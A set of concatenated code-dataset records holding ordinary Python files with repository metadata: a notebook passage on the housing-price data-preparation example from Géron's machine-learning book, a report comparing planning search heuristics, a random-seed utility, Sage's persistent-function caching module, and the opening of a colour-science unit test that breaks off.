\"longitude\", y = \"latitude\", alpha = 0.4, \n             s = housing[\"population\"] / 100, label = \"population\", figsize =( 10,7), \n             c = \"median_house_value\", cmap = plt.get_cmap(\"jet\"), colorbar = True, ) \nplt.legend()\n\n\n# In[24]:\n\n\n# Looking for Correlations Since the dataset is not too large, \n# you can easily compute the standard correlation coefficient \n# (also called Pearson\u2019s r) between every pair of attributes using the corr() method: \n\ncorr_matrix = housing.corr()\ncorr_matrix[\"median_house_value\"].sort_values(ascending = False)\n\n\n# In[25]:\n\n\n# Another way to check for correlation between attributes is to use the \n# pandas scatter_matrix() function, which plots every numerical attribute \n# against every other numerical attribute. Since there are now 11 numerical attributes, \n# you would get 112 = 121 plots, which would not fit on a page \u2014 so let\u2019s just focus \n# on a few promising attributes that seem most correlated with the median \n# housing value (Figure \u00a0 2-15): \n\nfrom pandas.plotting import scatter_matrix \nattributes = [\"median_house_value\", \"median_income\", \"total_rooms\", \"housing_median_age\"] \nscatter_matrix(housing[attributes], figsize = (12, 8))\n\n\n# In[26]:\n\n\n# The most promising attribute to predict the median house value is the median income, \n# so let\u2019s zoom in on their correlation scatterplot (Figure \u00a0 2-16): \n\nhousing.plot(kind = \"scatter\", x = \"median_income\", y = \"median_house_value\", alpha = 0.1)\n\n\n# ## Experimenting with Attribute Combinations\n# Hopefully the previous sections gave you an idea of a few ways you can explore the data and gain insights. You identified a few data quirks that you may want to clean up before feeding the data to a Machine Learning algorithm, and you found interesting correlations between attributes, in particular with the target attribute. You also noticed that some attributes have a tail-heavy distribution, so you may want to transform them (e.g., by computing their logarithm). Of course, your mileage will vary considerably with each project, but the general ideas are similar. \n# \n# One last thing you may want to do before preparing the data for Machine Learning algorithms is to try out various attribute combinations. For example, the total number of rooms in a district is not very useful if you don\u2019t know how many households there are. What you really want is the number of rooms per household. Similarly, the total number of bedrooms by itself is not very useful: you probably want to compare it to the number of rooms. And the population per household also seems like an interesting attribute combination to look at. Let\u2019s create these new attributes:\n# \n\n# In[27]:\n\n\nhousing[\"rooms_per_household\"] = housing[\"total_rooms\"] / housing[\"households\"] \nhousing[\"bedrooms_per_room\"] = housing[\"total_bedrooms\"]/ housing[\"total_rooms\"] \nhousing[\"population_per_household\"] = housing[\"population\"]/ housing[\"households\"] \n\n# And now let\u2019s look at the correlation matrix again:\n\ncorr_matrix = housing.corr()\ncorr_matrix[\"median_house_value\"].sort_values(ascending = False)\n\n\n# ## Prepare the Data for Machine Learning Algorithms\n# \n# But first let\u2019s revert to a clean training set (by copying strat_train_set once again). Let\u2019s also separate the predictors and the labels, since we don\u2019t necessarily want to apply the same transformations to the predictors and the target values (note that drop() creates a copy of the data and does not affect strat_train_set): \n\n# In[28]:\n\n\nhousing = strat_train_set.drop(\"median_house_value\", axis = 1) \nhousing_labels = strat_train_set[\"median_house_value\"].copy()\n\n\n# In[29]:\n\n\n# SimpleImputer. Here is how to use it. \n# First, you need to create a SimpleImputer instance, \n# specifying that you want to replace each attribute\u2019s missing values with the median of that attribute: \n\nfrom sklearn.impute import SimpleImputer \n\nimputer = SimpleImputer( strategy = \"median\") \n\n# Since the median can only be computed on numerical attributes, \n# you need to create a copy of the data without the text attribute ocean_proximity: \n\nhousing_num = housing.drop(\"ocean_proximity\", axis = 1) \n\n# Now you can fit the imputer instance to the training data using the fit() method: \n\nimputer.fit(housing_num)\n\n# G\u00e9ron, Aur\u00e9lien. Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow (pp. 63-64). O'Reilly Media. Kindle Edition. \n\n\n# ## Handling Text and Categorical Attributes \n# \n# So far we have only dealt with numerical attributes, but now let\u2019s look at text attributes. In this dataset, there is just one: the ocean_proximity attribute. Let\u2019s look at its value for the first 10 instances:\n# \n# G\u00e9ron, Aur\u00e9lien. Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow (pp. 65-66). O'Reilly Media. Kindle Edition.\n\n# In[30]:\n\n\nhousing_cat = housing[[\"ocean_proximity\"]]\n\n\n# In[31]:\n\n\nhousing_cat.head(10)\n\n\n# In[32]:\n\n\nfrom sklearn.preprocessing import OrdinalEncoder\nordinal_encoder = OrdinalEncoder()\nhousing_cat_encoded = ordinal_encoder.fit_transform(housing_cat)\nhousing_cat_encoded[:10]\n\n\n# In[33]:\n\n\n# You can get the list of categories using the categories_ instance \n# variable. It is a list containing a 1D array of categories for each \n# categorical attribute (in this case, a list containing a single array \n# since there is just one categorical attribute):\n\nordinal_encoder.categories_\n\n\n# In[34]:\n\n\n# one-hot attributes \nfrom sklearn.preprocessing import OneHotEncoder\ncat_encoder = OneHotEncoder()\nhousing_cat_1hot = cat_encoder.fit_transform( housing_cat)\nhousing_cat_1hot\n\n\n# In[35]:\n\n\n# Notice that the output is a SciPy sparse matrix, instead of a NumPy array.\n# You can use it mostly like a normal 2D array, 21 but if you really want to convert it to a (dense) NumPy array, just call the toarray() method:\n\nhousing_cat_1hot.toarray()\n\n\n# In[36]:\n\n\ntype(housing_cat_1hot)\n\n\n# In[37]:\n\n\ncat_encoder.categories_\n\n\n# ## Custom Transformers\n# \n# G\u00e9ron, Aur\u00e9lien. Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow (p. 68). O'Reilly Media. Kindle Edition. \n\n# In[38]:\n\n\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nrooms_ix, bedrooms_ix, population_ix, households_ix = 3, 4, 5, 6 \n\nclass CombinedAttributesAdder( BaseEstimator, TransformerMixin): \n    def __init__( self, add_bedrooms_per_room = True): # no *args or ** kargs \n        self.add_bedrooms_per_room = add_bedrooms_per_room \n    def fit( self, X, y = None): \n        return self # nothing else to do \n    def transform( self, X): \n        rooms_per_household = X[:, rooms_ix] / X[:, households_ix] \n        population_per_household = X[:, population_ix] / X[:, households_ix] \n        \n        if self.add_bedrooms_per_room: \n            bedrooms_per_room = X[:, bedrooms_ix] / X[:, rooms_ix] \n            return np.c_[ X, rooms_per_household, population_per_household, bedrooms_per_room] \n        else: \n            return np.c_[ X, rooms_per_household, population_per_household]\n        \nattr_adder = CombinedAttributesAdder( add_bedrooms_per_room = False) \nhousing_extra_attribs = attr_adder.transform( housing.values)\n\n\n# In[39]:\n\n\nattr_adder\n\n\n# In[40]:\n\n\nhousing_extra_attribs\n\n\n# ## Transformation Pipelines\n# \n# As you can see, there are many data transformation steps that need to be executed in the right order. Fortunately, Scikit-Learn provides the Pipeline class to help with such sequences of transformations. Here is a small pipeline for the numerical attributes:\n# \n# G\u00e9ron, Aur\u00e9lien. Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow (p. 70). O'Reilly Media. Kindle Edition. \n\n# In[41]:\n\n\nfrom sklearn.pipeline import Pipeline \nfrom sklearn.preprocessing import StandardScaler \n\nnum_pipeline = Pipeline([ ('imputer', SimpleImputer(strategy = \"median\")), \n                         ('attribs_adder', CombinedAttributesAdder()), \n                         ('std_scaler', StandardScaler()), ]) \n\nhousing_num_tr = num_pipeline.fit_transform(housing_num)\n\n\n# In[42]:\n\n\n#\nfrom sklearn.compose import ColumnTransformer \n\nnum_attribs = list( housing_num) \ncat_attribs = [\"ocean_proximity\"] \nfull_pipeline = ColumnTransformer([\n    (\"num\", num_pipeline, num_attribs),\n    (\"cat\", OneHotEncoder(), cat_attribs), \n    ])\n\nhousing_prepared = full_pipeline.fit_transform( housing)\n\n\n# In[43]:\n\n\nhousing_prepared\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "6b1449f74204ad4327b196588ba24d37a0773d39", "size": 12648, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebook-exported/Housing.py", "max_stars_repo_name": "yyk99/ml", "max_stars_repo_head_hexsha": "dbaa200320306482facd6161b37656d26a36e1cf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebook-exported/Housing.py", "max_issues_repo_name": "yyk99/ml", "max_issues_repo_head_hexsha": "dbaa200320306482facd6161b37656d26a36e1cf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebook-exported/Housing.py", "max_forks_repo_name": "yyk99/ml", "max_forks_repo_head_hexsha": "dbaa200320306482facd6161b37656d26a36e1cf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.4360086768, "max_line_length": 578, "alphanum_fraction": 0.7250948767, "include": true, "reason": "import numpy", "num_tokens": 3123, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.11757212890757046, "lm_q1q2_score": 0.05786760693974217}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %% [markdown]\n# # Effect of Heuristic on Search Efficiency\n#\n# This project will show you how to solve planning problems -- Think logistics and scheduling -- using search and logic to find tractable solutions.  Classic planning problems can solve a problem where the rules are known and clear-cut.  In other words, they are _deterministic_.  Where to effects of an action are known to all, in AI, this is known as being _observable_.  In controlled environments, where change only occurs through the actions taken by a planning agent, these systems work well.\n#\n# Acting in these worlds can be modeled logically.  Actions can take place by first meeting all their preconditions.  And once completed, its effects known.  Imagine you are in charge of logistics at Fed Ex and need to find solutions for getting packages from place to place.  How could that be done?  To model the action of flying a package, we can use a [Planning Domain Definition Language](https://planning.wiki/) (PDDL).\n#\n# ```\n# Action(Fly, (plane, from, to)\n#     Precondition: At(plane, from) and Plane(from) and Airport(from) and Airport(to)\n#     Effect: not At(plane, from) and At(plane, to)\n# )\n# ```\n#\n# Propositional logic describes each action briefly.   Just add actions to represent new problems or new business domains.  Knowing that we have a starting state and goal state, a set of actions and costs associated with each action, allows us to apply search algorithms to find solutions.\n#\n\n# %%\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom dataclasses import make_dataclass\n\nsns.set_theme(style=\"whitegrid\")\n\n\n# %%\nRecord = make_dataclass(\n    \"Record\",\n    [\n        (\"Problem\", int),\n        (\"Alg_Num\", int),\n        (\"Alg_Name\", str),\n        (\"Heuristic\", str),\n        (\"Actions\", int),\n        (\"Expansions\", int),\n        (\"Goal_Tests\", int),\n        (\"New_Nodes\", int),\n        (\"Length\", int),\n        (\"Time\", float),\n    ],\n)\n\n# %% [markdown]\n# ## Experimental Results\n#\n# I ran pypy to generate my experiments results using my mac desktop computer.\n\n# %%\ndataset = [\n    Record(1, 1, \"BFS\", \"\", 20, 43, 56, 178, 6, 0.0284),\n    Record(1, 2, \"DFS\", \"\", 20, 21, 22, 84, 20, 0.0073),\n    Record(2, 1, \"BFS\", \"\", 72, 3343, 4609, 30503, 9, 0.3459),\n    Record(2, 2, \"DFS\", \"\", 72, 624, 625, 5602, 619, 0.4810),\n    Record(4, 4, \"Greedy\", \"h_unmet_goals\", 104, 29, 31, 280, 18, 0.0612),\n    Record(\n        4, 11, \"A*\", \"h_pg_setlevel\", 104, 79863, 79865, 768641, 14, 30733.3346,\n    ),\n    Record(\n        3, 11, \"A*\", \"h_pg_setlevel\", 88, 12872, 12874, 115220, 12, 3046.3672\n    ),\n    Record(1, 3, \"UCS\", \"\", 20, 60, 62, 240, 6, 0.0379),\n    Record(1, 4, \"Greedy\", \"h_unmet_goals\", 20, 7, 9, 29, 6, 0.0032),\n    Record(1, 5, \"Greedy\", \"h_pg_levelsum\", 20, 6, 8, 28, 6, 0.4590),\n    Record(1, 6, \"Greedy\", \"h_pg_maxlevel\", 20, 6, 8, 24, 6, 0.1218),\n    Record(1, 7, \"Greedy\", \"h_pg_setlevel\", 20, 13, 15, 53, 6, 1.2660),\n    Record(1, 8, \"A*\", \"h_unmet_goals\", 20, 50, 52, 206, 6, 0.0216),\n    Record(1, 9, \"A*\", \"h_pg_levelsum\", 20, 28, 30, 122, 6, 0.2154),\n    Record(1, 10, \"A*\", \"h_pg_maxlevel\", 20, 43, 45, 180, 6, 0.1616),\n    Record(1, 11, \"A*\", \"h_pg_setlevel\", 20, 46, 48, 192, 6, 0.7168),\n    Record(2, 3, \"UCS\", \"\", 72, 5154, 5156, 46618, 9, 0.7450),\n    Record(2, 4, \"Greedy\", \"h_unmet_goals\", 72, 17, 19, 170, 9, 0.0205),\n    Record(2, 5, \"Greedy\", \"h_pg_levelsum\", 72, 9, 11, 86, 9, 0.4228),\n    Record(2, 6, \"Greedy\", \"h_pg_maxlevel\", 72, 27, 29, 249, 9, 0.6970),\n    Record(2, 7, \"Greedy\", \"h_pg_setlevel\", 72, 304, 306, 2846, 10, 54.8001),\n    Record(2, 8, \"A*\", \"h_unmet_goals\", 72, 2467, 2469, 22522, 9, 0.7026),\n    Record(2, 9, \"A*\", \"h_pg_levelsum\", 72, 357, 359, 3426, 9, 10.3350),\n    Record(2, 10, \"A*\", \"h_pg_maxlevel\", 72, 2887, 2889, 26594, 9, 59.0657),\n    Record(2, 11, \"A*\", \"h_pg_setlevel\", 72, 2879, 2881, 26622, 9, 577.1144),\n    Record(3, 4, \"Greedy\", \"h_unmet_goals\", 88, 25, 27, 230, 15, 0.0519),\n    Record(3, 6, \"Greedy\", \"h_pg_maxlevel\", 88, 21, 23, 195, 13, 1.8522),\n    Record(4, 4, \"Greedy\", \"h_unmet_goals\", 104, 29, 31, 280, 18, 0.0615),\n    Record(4, 6, \"Greedy\", \"h_pg_maxlevel\", 104, 56, 58, 580, 17, 3.6040),\n    Record(3, 8, \"A*\", \"h_unmet_goals\", 88, 7388, 7390, 65711, 12, 1.2993),\n    Record(3, 10, \"A*\", \"h_pg_maxlevel\", 88, 9580, 9582, 86312, 12, 331.0158),\n    Record(4, 8, \"A*\", \"h_unmet_goals\", 104, 34330, 34332, 328509, 14, 4.0136),\n    Record(\n        4, 10, \"A*\", \"h_pg_maxlevel\", 104, 62077, 62079, 599376, 14, 3268.4160\n    ),\n    Record(3, 2, \"DFS\", \"\", 88, 408, 409, 3364, 392, 0.2780),\n    Record(4, 2, \"DFS\", \"\", 104, 25174, 25175, 228849, 24132, 771.7955),\n]\ndf = pd.DataFrame(dataset)\n\n\n# %% [markdown]\n# ---\n#\n# ## Supporting Functions\n\n# %%\ndef create_catplot(df, y_var, title, is_log=True):\n    \"\"\"Creates a categorical plot using Seaborn's catplot.\n    \n    Parameters:\n        df: Dataframe contianing data to be plotted\n        y_var: Name of column in dataframe used for y-axis values\n        title: Title for the plot\n    \"\"\"\n\n    g = sns.catplot(\n        data=df,\n        kind=\"bar\",\n        x=\"Problem\",\n        y=y_var,\n        hue=\"Alg_Title\",\n        height=7,\n        aspect=1.0,\n    )\n    g.despine(left=True, bottom=True)\n    if is_log:\n        g.set(yscale=\"log\")\n    g.ax.xaxis.grid(True, linewidth=0.25)\n    g.ax.yaxis.grid(True, \"minor\", linewidth=0.25)\n    g.despine(left=True, bottom=False)\n    plt.title(title)\n\n\n# %%\ndef create_relplot(df, y_var, title):\n    \"\"\"Creates a relational plot using Seaborn's catplot.\n    \n    Parameters:\n        df: Dataframe contianing data to be plotted\n        y_var: Name of column in dataframe used for y-axis values\n        title: Title for the plot\n    \"\"\"\n\n    g = sns.relplot(\n        data=df,\n        x=\"Actions\",\n        y=y_var,\n        hue=\"Alg_Title\",\n        size=\"Problem\",\n        height=7,\n        aspect=1.0,\n        sizes=(40, 120),\n    )\n    g.set(yscale=\"log\")\n    g.ax.xaxis.grid(True, linewidth=0.25)\n    g.ax.yaxis.grid(True, \"minor\", linewidth=0.25)\n    g.despine(left=True, bottom=False)\n    plt.title(title)\n\n\n# %%\ndf[\"Alg_Title\"] = (\n    df.Alg_Num.astype(str) + \" \" + df[\"Alg_Name\"] + \" \" + df[\"Heuristic\"]\n)\ndf = df.sort_values(by=[\"Problem\", \"Alg_Num\"])\n\n# %% [markdown]\n# ---\n#\n# ## Analysis: Nodes vs Actions\n\n# %%\ncreate_relplot(df, \"New_Nodes\", \"New Nodes vs Actions\")\n\n\n# %%\ncreate_catplot(df, \"New_Nodes\", \"New Nodes by Problem\")\n\n\n# %%\ndf[[\"Problem\", \"Alg_Title\", \"New_Nodes\", \"Actions\"]].set_index(\n    \"Problem\"\n).sort_values(by=[\"Problem\", \"New_Nodes\"])\n\n# %% [markdown]\n# ### Discussion\n#\n# Solving more complex problems requires more actions.  To solve the problems here, the number of actions grows linearly.   Finding the sequence of actions needed to reach the goal requires exponentially more new nodes as problem complexity increases.  When plotted logarithmically, exponential growth appears linearly, just as we see here.  The linear pattern occurs as logarithms and exponents are inverse functions.  One notable exception is the performance of depth-first search on problem 3 is an order of magnitude better than expected.  Repeated runs are consistent, so I imagine it has to do with the structure of the problem that allows DFS to find a solution with minimal backtracking.\n#\n# For all problems and heuristics, greedy algorithms outperform A* by needing fewer nodes to arrive at a solution.  A* has exponential growth in space complexity and puts A* at a disadvantage.  This especially true when the number of actions grows with the increased complexity of the problem.  Breadth-first search algorithms performed the worst -- as expected -- since its frontier size grows exponentially.\n# %% [markdown]\n# ---\n#\n# ## Analysis: Time vs Actions\n#\n\n# %%\ncreate_relplot(df, \"Time\", \"Runtime vs Actions\")\n\n\n# %%\ncreate_catplot(df, \"Time\", \"Runtime vs Actions\")\n\n\n# %%\ndf[[\"Problem\", \"Alg_Title\", \"Time\", \"Actions\"]].set_index(\n    \"Problem\"\n).sort_values(by=[\"Problem\", \"Time\"])\n\n\n# %%\n\n\n# %% [markdown]\n# ### Discussion\n# Greedy search -- especially when using the h_unmet_goals heuristic -- finds solutions the fastest. The h_pg_setlevel heuristic is the slowest for all problems. For problem 1, which only requires 20 actions to solve, greedy search using the h_pg_setlevel is the slowest.  For all other problems, it is A* using this same heuristic. The h_pg_setlevel heuristic estimates:\n#\n# > The set level of a planning graph is the first level where all goals appear such that no pair of goal literals are mutex in the last layer of the planning graph.\n#\n# The h_pg_setlevel heuristic is known to perform poorly on complex problems, and here it lives up to its billing.\n#\n#\n#\n# %% [markdown]\n# ---\n#\n# ## Analysis: Length of plan by algorithm\n#\n#\n\n# %%\ncreate_catplot(df, \"Actions\", \"Actions by Algorithm\", is_log=False)\n\n\n# %%\ndf[[\"Problem\", \"Alg_Title\", \"Actions\"]].set_index(\"Problem\").sort_values(\n    by=[\"Problem\", \"Actions\"]\n)\n\n# %% [markdown]\n# ### Discussion\n#\n# The length of the plan required to arrive at the goal is consistent for all algorithms for each problem. The work to derive the plan -- measured in time expended of new nodes created -- varies considerably across algorithms. Why is this? Conflicting actions have been eliminated by only allowing actions that are not mutually exclusive. Mutually exclusive or mutex actions happen in three different ways.\n#\n# 1. _Inconsistent_ actions negate the effects of one another. For example, `Load(C, p)` and `Unload(C, p)`.\n#\n# 1. _Interference_ s when the effects of one action are mutually exclusive of the precondition of another.  For example, the actions `Fly(a, b)` and `At(a)` are _mutex_ since once flown to airport b.  The plane is no longer at airport a.\n#\n# 1. _Competing needs_ occur when the preconditions of one action interfere with the preconditions of the other.  One plane can only fly to one airport, so the actions `Fly(p, a, b)` and `Fly(P, a, c)` compete for the having the plane `At(a)`.\n#\n# By eliminating mutex actions, the size of the resulting plan shrinks dramatically.\n# %% [markdown]\n# # Questions\n#\n# 1. Which algorithm or algorithms would be most appropriate for planning in a very restricted domain (i.e., one that has only a few actions) and needs to operate in real time?\n#\n# > Based on my analysis of time vs. actions, I would select Greedy h_unmet_goals or DFS because they performed the best for small problems (i.e., problem 1). Both completed their search in less than one-hundredth of a second, an order of magnitude faster than A* h_unmet_goals.\n#\n# 1. _Which algorithm or algorithms would be most appropriate for planning in very large domains (e.g., planning delivery routes for all UPS drivers in the U.S. on a given day)_\n#\n# > Greedy h_unmet_goals is by far the best choice for large problem domains (i.e., problem 4). Other choices are Greedy h_pg_maxlevel or A* h_unmet_goals, but they are three orders of magnitude slower.\n#\n#\n# 1. _Which algorithm or algorithms would be most appropriate for planning problems where it is important to find only optimal plans?\n#\n# > A planning graph is a tree with its root at the initial state. Actions are the branches of the tree and whose effects result in a new state. A* is guaranteed to return an optimal plan when searching a tree using an admissible heuristic. Heuristics are estimates of the cost measured in the number of new states from the initial state. An admissible heuristic will always be less than or equal to the actual cost. Of the heuristics considered in this analysis, here are those that are admissible:\n#\n# * The h_pg_maxlevel. heuristic is the largest level-cost needed to achieve any one of the goal's conditions.\n#\n# * The h_pg_setlevel heuristic is the level where all the goal's conditions are achieved.\n#\n# > __So, to find optimal plans use either A*_h_pg_setlevel heuristic or A*_h_pg_maxlevel. In my results, A_h_pg_setlevel is about 10 faster than A_h_pg_maxlevel for all problems analyzed in this exercise. So, choose A*_h_pg_setlevel. It will return an optimal plan in the least amount of time.__\n#\n# BFS, too, will return an optimal plan but expands an exponentially expanding number of nodes in the process, so it consumes a lot of memory and time.__\n#\n# ### Cite\n#\n# Russell, S. J., & Norvig, P. (2010). Artificial intelligence: A modern approach (3rd ed.). Upper Saddle River: Prentice-Hall.  Chapter 3 - Solving Problems by Searching and Chapter 10 - Classical Planning.\n\n# %%\n\n", "meta": {"hexsha": "4e0393d1a28de04daa734e2a678b3e1c8a34c024", "size": 12578, "ext": "py", "lang": "Python", "max_stars_repo_path": "Projects/2_Classical Planning/report.py", "max_stars_repo_name": "robOcity/artificial-intelligence", "max_stars_repo_head_hexsha": "e2a62bbff99b460fc8362fa9913dbcd4e3edf158", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Projects/2_Classical Planning/report.py", "max_issues_repo_name": "robOcity/artificial-intelligence", "max_issues_repo_head_hexsha": "e2a62bbff99b460fc8362fa9913dbcd4e3edf158", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Projects/2_Classical Planning/report.py", "max_forks_repo_name": "robOcity/artificial-intelligence", "max_forks_repo_head_hexsha": "e2a62bbff99b460fc8362fa9913dbcd4e3edf158", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.9214285714, "max_line_length": 695, "alphanum_fraction": 0.6794402926, "include": true, "reason": "import numpy", "num_tokens": 3776, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3960681662740417, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.057860508790675357}}
{"text": "\nimport os\nimport torch\nimport numpy as np\nimport random\n\ndef set_seed(seed):\n    os.environ['PYTHONHASHSEED'] = str(seed)\n    torch.manual_seed(seed)  # cpu\n    torch.cuda.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)  # gpu\n    np.random.seed(seed)\n    random.seed(seed)\n    torch.backends.cudnn.deterministic = True\n\n\n# set_seed(1)\n# print('#randam:\\t', torch.rand(5))\n\n", "meta": {"hexsha": "2ae50f52678928ce76a9eb1a28f753e819acf1af", "size": 382, "ext": "py", "lang": "Python", "max_stars_repo_path": "kbcqa/method_ir/grounding/semantic_matching/fix_seed.py", "max_stars_repo_name": "nju-websoft/SkeletonKBQA", "max_stars_repo_head_hexsha": "8cf2e697830ef09dca40692e7d254b61f9ffdf8d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2021-06-05T02:02:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-14T14:03:54.000Z", "max_issues_repo_path": "kbcqa/method_ir/grounding/semantic_matching/fix_seed.py", "max_issues_repo_name": "nju-websoft/SkeletonKBQA", "max_issues_repo_head_hexsha": "8cf2e697830ef09dca40692e7d254b61f9ffdf8d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-03-16T01:53:38.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-16T01:53:38.000Z", "max_forks_repo_path": "kbcqa/method_ir/grounding/semantic_matching/fix_seed.py", "max_forks_repo_name": "nju-websoft/SkeletonKBQA", "max_forks_repo_head_hexsha": "8cf2e697830ef09dca40692e7d254b61f9ffdf8d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-06-10T09:17:56.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-15T00:12:12.000Z", "avg_line_length": 19.1, "max_line_length": 45, "alphanum_fraction": 0.6937172775, "include": true, "reason": "import numpy", "num_tokens": 104, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.1276526286405008, "lm_q1q2_score": 0.0578600663616152}}
{"text": "r\"\"\"\nSupport for persistent functions in .sage files\n\nPersistent functions are functions whose values are stored on disk\nso they do not have to be recomputed.\n\nThe inputs to the function must be hashable (so lists are not\nallowed). Though a hash is used, in the incredibly unlikely event\nthat a hash collision occurs, your function will not return an\nincorrect result because of this (though the cache might not be\nused either).\n\nThis is meant to be used from ``.sage`` files, not from\nlibrary ``.py`` files.\n\nTo use this disk caching mechanism, just put\n``@func_persist`` right before your function\ndefinition. For example,\n\n::\n\n    @func_persist\n    def bern(n):\n        \"Return the n-th Bernoulli number, caching the result to disk.\"\n        return bernoulli(n)\n\nYou can then use the function ``bern`` as usual, except\nit will almost instantly return values that have already been\ncomputed, even if you quit and restart.\n\nThe disk cache files are stored by default in the subdirectory\n``func_persist`` of the current working directory,\nwith one file for each evaluation of the function.\n\"\"\"\n########################################################################\n#       Copyright (C) 2006 William Stein <wstein@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#                  https://www.gnu.org/licenses/\n########################################################################\n\nimport inspect\nimport os\n\nfrom . import persist\n\n\nclass func_persist:\n    r\"\"\"\n    Put ``@func_persist`` right before your function\n    definition to cache values it computes to disk.\n    \"\"\"\n    def __init__(self, f, dir='func_persist'):\n        from sage.misc.misc import sage_makedirs\n        self.__func = f\n        self.__dir = dir\n        sage_makedirs(dir)\n        self.__doc__ = '%s%s%s' % (\n            f.__name__,\n            inspect.formatargspec(*inspect.getargs(f.__code__)),\n            f.__doc__)\n\n    def __call__(self, *args, **kwds):\n        key = (tuple(args), tuple(kwds.items()))\n        h = hash(key)\n        name = '%s/%s_%s.sobj' % (self.__dir, self.__func.__name__, h)\n\n        if os.path.exists(name):\n            key2, val = persist.load(name)\n            if key == key2:\n                # We save and test equality of keys to avoid\n                # the (extremely remote) possibility of a hash\n                # collision.  Correctness is crucial in mathematics.\n                return val\n\n        val = self.__func(*args, **kwds)\n        persist.save((key, val), name)\n        return val\n", "meta": {"hexsha": "1645625ac9eaf156e3ebfc11e84cb695d945100d", "size": 2544, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/func_persist.py", "max_stars_repo_name": "sensen1/sage", "max_stars_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1742, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:06:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:32:52.000Z", "max_issues_repo_path": "src/sage/misc/func_persist.py", "max_issues_repo_name": "sensen1/sage", "max_issues_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 66, "max_issues_repo_issues_event_min_datetime": "2015-03-19T19:17:24.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-16T11:59:30.000Z", "max_forks_repo_path": "src/sage/misc/func_persist.py", "max_forks_repo_name": "sensen1/sage", "max_forks_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 495, "max_forks_repo_forks_event_min_datetime": "2015-01-10T10:23:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T22:06:11.000Z", "avg_line_length": 31.8, "max_line_length": 72, "alphanum_fraction": 0.6187106918, "include": true, "reason": "import sage,from sage", "num_tokens": 570, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37022537869825406, "lm_q2_score": 0.1561049013715009, "lm_q1q2_score": 0.05779399622691752}}
{"text": "# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nDefines the unit tests for the :mod:`colour.appearance.rlab` module.\n\"\"\"\n\nimport numpy as np\nimport unittest\nfrom itertools import permutations\n\nfrom colour.appearance import (\n    D_FACTOR_RLAB,\n    VIEWING_CONDITIONS_RLAB,\n    XYZ_to_RLAB,\n)\nfrom colour.utilities import (\n    as_float_array,\n    domain_range_scale,\n    ignore_numpy_errors,\n)\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013-2021 - Colour Developers'\n__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-developers@colour-science.org'\n__status__ = 'Production'\n\n__all__ = [\n    'TestXYZ_to_RLAB',\n]\n\n\nclass TestXYZ_to_RLAB(unittest.TestCase):\n    \"\"\"\n    Defines :func:`colour.appearance.rlab.XYZ_to_RLAB` definition unit\n    tests methods.\n    \"\"\"\n\n    def test_XYZ_to_RLAB(self):\n        \"\"\"\n        Tests :func:`colour.appearance.rlab.XYZ_to_RLAB` definition.\n\n        Notes\n        -----\n        -   The test values have been generated from data of the following file\n            by *Fairchild (2013)*:\n            http://rit-mcsl.org/fairchild//files/AppModEx.xls\n        \"\"\"\n\n        XYZ = 